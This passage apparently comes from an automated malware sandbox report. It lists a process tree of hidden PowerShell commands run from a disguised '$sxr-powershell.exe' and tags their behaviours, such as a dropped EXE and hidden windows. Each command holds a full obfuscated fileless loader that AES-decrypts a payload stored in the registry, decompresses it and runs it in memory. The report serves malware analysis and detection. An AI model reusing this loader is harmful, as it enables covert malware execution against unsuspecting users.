'')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5404
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5532 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5532).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))8⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
PID:6812
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object 